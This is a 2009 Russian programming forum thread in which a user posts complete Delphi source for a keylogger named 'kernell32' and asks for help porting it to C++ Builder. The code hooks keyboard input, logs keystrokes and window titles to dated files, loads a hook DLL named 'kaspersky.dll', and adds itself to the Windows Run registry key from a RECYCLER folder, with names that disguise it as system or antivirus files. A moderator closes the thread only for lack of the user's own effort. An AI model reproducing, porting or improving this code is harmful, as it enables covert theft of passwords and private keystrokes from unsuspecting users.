Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > C/C++ программирование > C++ Builder
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Закрытая тема
Ваша тема закрыта, почему это могло произойти? Возможно,
Нет наработок или кода, если нужно готовое решение - создайте тему в разделе Фриланс и оплатите работу.
Название темы включает слова - "Помогите", "Нужна помощь", "Срочно", "Пожалуйста".
Название темы слишком короткое или не отражает сути вашего вопроса.
Тема исчерпала себя, помните, один вопрос - одна тема
Прочитайте правила и заново правильно создайте тему.
 
Опции темы Поиск в этой теме
Старый 03.09.2009, 17:20   #1
koljsch
Форумчанин
 
Регистрация: 26.01.2009
Сообщений: 360
По умолчанию Из Delphi в Builder

Можете помочь перевести этот код в Builder?
Код:
program kernell32;
uses
  Windows, SysUtils, Registry;

const

{$EXTERNALSYM WM_DESTROY}
WM_DESTROY = $0002;
{$EXTERNALSYM WM_USER}
WM_USER = $0400;
var
WinClass: TWndClass;
Msg: TMsg;
LangInt:integer;
OLDwnd , NEWwnd: string;
h : hhook;
LogFile: string;
lt: TSYSTEMTIME;
day: String;
Month: String;
Year: String;
Gen: String;
Reg: TRegistry;
function FookKB: Longint; external 'kaspersky.dll' name 'InstallHook';
function UnFookKB: Longint; external 'kaspersky.dll' name 'RemoveHook';

{
function WriteFile(hFile: THandle; const Buffer; nNumberOfBytesToWrite: DWORD;
var lpNumberOfBytesWritten: DWORD; lpOverlapped: POverlapped): BOOL; stdcall;

GetModuleFileName(HInstance, Path, SizeOf(Path)))
}

function AnsiUpperCase(const S: string): string;
var
Len: Integer;
begin
Len := Length(S);
SetString(Result, PChar(S), Len);
if Len > 0 then CharUpperBuff(Pointer(Result), Len);
end;

function AnsiLowerCase(const S: string): string;
var
Len: Integer;
begin
Len := Length(S);
SetString(Result, PChar(S), Len);
if Len > 0 then CharLowerBuff(Pointer(Result), Len);
end;

function FileExists( const FileName : String ) : Boolean;
var
Code: Integer;
begin
Code := GetFileAttributes(PChar(FileName));
Result := (Code <> -1) and (FILE_ATTRIBUTE_DIRECTORY and Code = 0);
end;



procedure WriteToTxt(fname,text: string);
var
F: File;
buf: array[0..2500] of Char;
I : integer;
begin

AssignFile(F, fname);
If not FileExists(fname) then
Rewrite(f);

Reset(f,1);
Seek(F, system.filesize(F) );
for i:=1 to length(text) do buf[i-1]:=text[i];
BlockWrite(F, buf, length(text));
CloseFile(F);
end;


Function X_ScanKey(Key:AnsiString;
Lay:integer;
Ch,sh:boolean
):string;
begin
result:=key;
key:= AnsiLowerCase(key);
if length(key)>1 then
begin
if key='space' then key:=' ' else
if key='enter' then key:='[enter]' else
Key:='['+key+']';
result:=key;
exit;
end;

if Lay = 1 then {English}
begin

if sh then begin
if key = '`' then key:= '~';
if key = '1' then key:= '!';
if key = '2' then key:= '@';
if key = '3' then key:='#';
if key = '4' then key:= '$';
if key = '5' then key:='%';
if key = '6' then key:='^';
if key = '7' then key:='&';
if key = '8' then key:='*';
if key = '9' then key:='(';
if key = '0' then key:=')';
if key = '-' then key:='_';
if key = '=' then key:='+';
if key = '[' then key:='{';
if key = ']' then key:='}';
if key = '\' then key:='|';
if key = ';' then key:=':';
if key = ''''then key:='"';
if key = ',' then key:='<';
if key = '.' then key:='>';
if key = '/' then key:='?';
if key = '.' then key:='þ';
end;

end else if Lay = 2 {RUSSIAN}
then
begin


if key = '/' then key:='.';
if key = '`' then key:='¸';
if key = 'q' then key:='é';
if key = 'w' then key:='ö';
if key = 'e' then key:='ó';
if key = 'r' then key:='ê';
if key = 't' then key:='å';
if key = 'y' then key:='í';
if key = 'u' then key:='ã';
if key = 'i' then key:='ø';
if key = 'o' then key:='ù';
if key = 'p' then key:='ç' ;
if key = '[' then key:='õ';
if key = ']' then key:='ú';
if key = 'a' then key:='ô';
if key = 's' then key:='û';
if key = 'd' then key:= 'â';
if key = 'f' then key:= 'à';
if key = 'g' then key:= 'ï';
if key = 'h' then key:= 'ð';
if key = 'j' then key:= 'î';
if key = 'k' then key:= 'ë';
if key = 'l' then key:= 'ä';
if key = ';' then key:='æ';
if key = '''' then key:='ý';
if key = 'z' then key:='ÿ';
if key = 'x' then key:='÷';
if key = 'c' then key:='ñ';
if key = 'v' then key:='ì';
if key = 'b' then key:='è';
if key = 'n' then key:='ò';
if key = 'm' then key:='ü';
if key = ',' then key:='á';
if key = 'þ' then key:='.';
koljsch вне форума
Старый 03.09.2009, 17:21   #2
koljsch
Форумчанин
 
Регистрация: 26.01.2009
Сообщений: 360
По умолчанию

Код:
if sh then begin
if key = '\' then key:='/';
if key = '1' then key:='!';
if key = '2' then key:='"';
if key = '3' then key:='¹';
if key = '4' then key:=';';
if key = '5' then key:='%';
if key = '6' then key:=':';
if key = '7' then key:='?';
if key = '8' then key:='*';
if key = '9' then key:='(';
if key = '0' then key:=')';
if key = '-' then key:='_';
if key = '=' then key:='+';
if key = '.' then key:=',';
end;



end;

if ch then Result:=AnsiUpperCase(key) else Result:=AnsiLowerCase(key);
end;

Procedure Proc(code:integer; wParam:WPARAM;lParam:LPARAM );{:lresult;}stdcall;

function AC:string;
var
Handle:THandle;
Len:LongInt;
Title:string;
begin
Handle:=GetForegroundWindow;
Len:=GetWindowTextLength(Handle) + 1;
SetLength(Title,Len);
GetWindowText(Handle,PChar(Title),Len);
AC:=(Title);
end;

function IsCapsLockPressed:boolean;
var KeyState : TKeyboardState;

function State(Ctrl : Word) : boolean;
begin Result:=((KeyState[ctrl] and 1)=1); end;

begin
Result:=false;
if GetKeyboardState(KeyState)=False then exit; 
Result:=State(vk_Capital);
end;

Function IsShiftPressed:boolean;
begin
if GetKeyState(VK_SHIFT) < 0 then result:=true else result:=false;
end;

function xLng(hHn:THandle):integer;
begin {1:English 2:Russian}
xLng:=1;
if (hHn and $FF) = 9 then xLng:=1
else if (hHn = $419) then xLng:=2;
end;

var
c:array[0..255] of char;
nScan:integer;
iSuPPer:boolean;
begin

if ( (code>=0)and(teventmsg(pointer(lparam)^).message=$0100) )
or ( (code>=0) and (teventmsg(pointer(lparam)^).message=$0104) )
then
begin
nScan:=hibyte((teventmsg(pointer(lparam)^).paramL));
nscan:=nscan shl 16;
GetKeyNameText(nScan,c,256);

if (IsCapsLockPressed and IsShiftPressed) then iSuPPer:=False else
if (IsCapsLockPressed or IsShiftPressed) then iSuPPer:=True else iSuPPer:=false;

NEWwnd := AC;
if OLDwnd <> NEWwnd then
begin
OLDwnd := NEWwnd;
end;

WRiteToTxt(LogFile, X_ScanKey(c,LangInt,iSuPPer,IsShiftPressed) );
end;
end;


function WndProc(hnd, wmsg, wparam, lparam: integer): LongInt; stdcall;

function xLng(hHn:THandle):integer;
begin {1:English 2:Russian}
xLng:=1;
if (hHn and $FF) = 9 then xLng:=1
else if (hHn = $419) then xLng:=2;
end;

begin

case Wmsg of


WM_USER+1, WM_USER+2:
begin
LangInt := xLng ( LOWORD( lParam ) ) ;

end;

WM_DESTROY:
begin
unhookwindowshookex(h);
UnFookKB;
ExitProcess(hnd);
end;

end;
Result:=DefWindowProc(hnd, wmsg, wparam, lparam);
end;


Procedure AppOn;
begin
with WinClass do
begin
lpfnWndProc:=@WndProc;
cbClsExtra:=0;
cbWndExtra:=0;
hInstance:=hInstance;
style:=CS_HREDRAW+CS_VREDRAW+CS_DBLCLKS;
hbrBackground:=COLOR_WINDOW;
end;
RegisterClass(WinClass);

end;

begin
AppOn;
FookKB;
h:=setwindowshookex(WH_JOURNALRECORD,@Proc,hinstance,0);
Reg:=TRegistry.Create;
reg.RootKey := HKEY_LOCAL_MACHINE;
Reg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run', true);
if Reg.KeyExists('kernell32') then
else begin
reg.WriteString('kernell32', 'D:\RECYCLER\kernell32.exe');
reg.CloseKey;
reg.Free;
end;

GetLocalTime(lt);
day:=IntToStr(lt.wDay);
month:=IntToStr(lt.wMonth);
year:=IntToStr(lt.wYear);
gen:='['+day+'--'+month+'--'+year+']';
LogFile:= 'Log '+gen+'.txt';
while GetMessage(Msg, 0, 0, 0) do
begin
TranslateMessage(Msg);
DispatchMessage(Msg);
end;
end.
koljsch вне форума
Старый 03.09.2009, 20:12   #3
MaTBeu
Eclipse Foundation
Старожил
 
Аватар для MaTBeu
 
Регистрация: 19.09.2007
Сообщений: 2,604
По умолчанию

Помочь подразумевает то, что вы сами хоть что-то, но уже сделали.
Где же ваш код?

С вами все ясно. Халявы не ждите. Тема закрыта.
MaTBeu вне форума
Закрытая тема


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
БД в Builder- перевод из Delphi kisa_misa C++ Builder 4 26.01.2009 06:04
Имитационное моделирование систем массового обслуживания на Delphi или C++Builder Приватная Фриланс 4 04.12.2008 10:39
Нужно переделать код с Delphi на C++ Builder POPOV Помощь студентам 2 12.11.2007 22:51